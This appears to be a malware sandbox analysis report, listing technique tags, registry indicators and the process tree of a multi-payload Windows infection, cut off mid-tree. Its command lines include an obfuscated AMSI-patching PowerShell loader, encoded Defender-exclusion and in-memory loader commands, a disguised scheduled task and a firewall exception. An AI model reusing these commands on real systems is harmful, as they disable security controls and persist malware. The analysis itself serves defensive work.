Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
3048	attrib.exe

outlook_office_path 1 IoCs

Processes:

cluton.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cluton.exe

outlook_win_path 1 IoCs

Processes:

cluton.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cluton.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:536
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d0090ce5-f183-4dfa-97c3-afcbda887ee3}
  2⤵
  PID:5892
- C:\Windows\system32\LogonUI.exe
  "LogonUI.exe" /flags:0x4 /state0:0xa3940055 /state1:0x41c64e6d
  2⤵
  PID:4124

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1248
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
  "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:4412
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  - Executes dropped EXE
  PID:5052
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  2⤵
  - Executes dropped EXE
  PID:5156
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  - Executes dropped EXE
  PID:5988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:nzmkXGPTzWRj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fHSXJWpbgBwerD,[Parameter(Position=1)][Type]$jMqinvyapW)$QLDrAVnbSOp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+'cte'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+'ory'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+'t'+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+',Pub'+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$QLDrAVnbSOp.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+'Nam'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$fHSXJWpbgBwerD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+'n'+''+'a'+''+'g'+''+[Char](101)+'d');$QLDrAVnbSOp.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+[Char](107)+''+'e'+'','P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+'l'+'',$jMqinvyapW,$fHSXJWpbgBwerD).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $QLDrAVnbSOp.CreateType();}$fpnncAwptbASn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+'2'+''+'.'+''+'U'+'ns'+[Char](97)+'f'+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](118)+''+'e'+'Me'+[Char](116)+''+'h'+'o'+[Char](100)+'s');$wHDgSzTmXwxYYY=$fpnncAwptbASn.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+'es'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$breipgLMhFtgFPEvvQy=nzmkXGPTzWRj @([String])([IntPtr]);$LxvPBQznoXNijSpxxAtPgV=nzmkXGPTzWRj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DjNLBPoffey=$fpnncAwptbASn.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$oIkOXeqKwllAcQ=$wHDgSzTmXwxYYY.Invoke($Null,@([Object]$DjNLBPoffey,[Object](''+[Char](76)+'oa'+'d'+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+'y'+'A'+'')));$LBznHbLgsiADMnPyw=$wHDgSzTmXwxYYY.Invoke($Null,@([Object]$DjNLBPoffey,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+''+'o'+''+'t'+''+'e'+'ct')));$qSsKgCu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oIkOXeqKwllAcQ,$breipgLMhFtgFPEvvQy).Invoke('am'+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$KyyDDYbxsrJEJTObh=$wHDgSzTmXwxYYY.Invoke($Null,@([Object]$qSsKgCu,[Object]('Am'+'s'+'i'+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+'f'+''+[Char](101)+''+'r'+'')));$IDZzQRkZvO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LBznHbLgsiADMnPyw,$LxvPBQznoXNijSpxxAtPgV).Invoke($KyyDDYbxsrJEJTObh,[uint32]8,4,[ref]$IDZzQRkZvO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KyyDDYbxsrJEJTObh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LBznHbLgsiADMnPyw,$LxvPBQznoXNijSpxxAtPgV).Invoke($KyyDDYbxsrJEJTObh,[uint32]8,0x20,[ref]$IDZzQRkZvO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+'T'+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:5356
- C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  2⤵
  PID:5940
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  PID:7008
- C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
  2⤵
  PID:7000
- C:\Users\Admin\AppData\Roaming\OneDrive.exe
  C:\Users\Admin\AppData\Roaming\OneDrive.exe
  2⤵
  PID:4336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1500
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964
- C:\Windows\system32\AUDIODG.EXE
  C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004DC
  2⤵
  PID:6368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2096

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
- Modifies data under HKEY_USERS
PID:2140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2748

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2816

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3144

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
PID:3240
- C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
  "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4784
- - C:\Users\Admin\AppData\Local\Temp\Files\RedSystem.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\RedSystem.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:432
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 1308
      4⤵
      Program crash
      PID:4848
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 1408
      4⤵
      Program crash
      PID:4104
- - C:\Users\Admin\AppData\Local\Temp\Files\test_again2.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\test_again2.exe"
    3⤵
    - Executes dropped EXE
    PID:2876
- - C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svhosts.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:664
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:336
- - C:\Users\Admin\AppData\Local\Temp\Files\OneDrive.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\OneDrive.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEYAaQBsAGUAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2324
  - - C:\Users\Admin\AppData\Local\Temp\wnxddd.exe
      "C:\Users\Admin\AppData\Local\Temp\wnxddd.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2232
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:356
  - - C:\Users\Admin\AppData\Local\Temp\xrmcsj.exe
      "C:\Users\Admin\AppData\Local\Temp\xrmcsj.exe"
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs"
        5⤵
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4828
      - C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" -enc JABLAHgAcAByAGsAdABqAG8AbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABOAHkAdgBoAHkAeAB2AGsAaQAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEsAeABwAHIAawB0AGoAbwBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEwAZQBwAGsAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABOAHkAdgBoAHkAeAB2AGsAaQAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQARABmAGEAdwBuAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEwAZQBwAGsAbAAgACkAOwAkAEMAYwB5AGMAaQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABEAGYAYQB3AG4AbwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAuAEMAbwBwAHkAVABvACgAIAAkAEMAYwB5AGMAaQAgACkAOwAkAE4AbABhAHMAegBhAHEAaABkAHEALgBDAGwAbwBzAGUAKAApADsAJABEAGYAYQB3AG4AbwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEwAZQBwAGsAbAAgAD0AIAAkAEMAYwB5AGMAaQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQATABlAHAAawBsACkAOwAgACQARABqAGkAaABjAGMAaABtAHoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABMAGUAcABrAGwAKQA7ACAAJABKAG4AegBhAHgAagAgAD0AIAAkAEQAagBpAGgAYwBjAGgAbQB6AC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASgBuAHoAYQB4AGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEoAbgB6AGEAeABqAC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1108
    - - C:\Users\Admin\AppData\Local\Temp\OneDrive.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3140
- - C:\Users\Admin\AppData\Local\Temp\Files\c3.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\c3.exe"
    3⤵
    - Executes dropped EXE
    PID:2808
- - C:\Users\Admin\AppData\Local\Temp\Files\Bluescreen.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Bluescreen.exe"
    3⤵
    - Executes dropped EXE
    PID:4624
- - C:\Users\Admin\AppData\Local\Temp\Files\tdrpl.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tdrpl.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\sysnldcvmr.exe
      C:\Windows\sysnldcvmr.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3160
    - - C:\Users\Admin\AppData\Local\Temp\1109125257.exe
        
        C:\Users\Admin\AppData\Local\Temp\1109125257.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1708
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3404
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:3764
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:1584
    - - C:\Users\Admin\AppData\Local\Temp\2031716674.exe
        
        C:\Users\Admin\AppData\Local\Temp\2031716674.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:908
      - C:\Users\Admin\AppData\Local\Temp\2066210983.exe
        
        C:\Users\Admin\AppData\Local\Temp\2066210983.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4744
    - - C:\Users\Admin\AppData\Local\Temp\182506255.exe
        
        C:\Users\Admin\AppData\Local\Temp\182506255.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3556
    - - C:\Users\Admin\AppData\Local\Temp\786127328.exe
        
        C:\Users\Admin\AppData\Local\Temp\786127328.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1908
    - - C:\Users\Admin\AppData\Local\Temp\3285315584.exe
        
        C:\Users\Admin\AppData\Local\Temp\3285315584.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1728
      - C:\Users\Admin\AppData\Local\Temp\1172211728.exe
        
        C:\Users\Admin\AppData\Local\Temp\1172211728.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4968
- - C:\Users\Admin\AppData\Local\Temp\Files\GoodFrag.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\GoodFrag.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4304
  - - C:\Users\Admin\AppData\Roaming\Runtime Broker.exe
      "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      PID:464
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe" "Runtime Broker.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Time Discovery
        
        PID:1564
- - C:\Users\Admin\AppData\Local\Temp\Files\njSilent.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\njSilent.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3592
- - C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies system certificate store
    PID:236
- - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
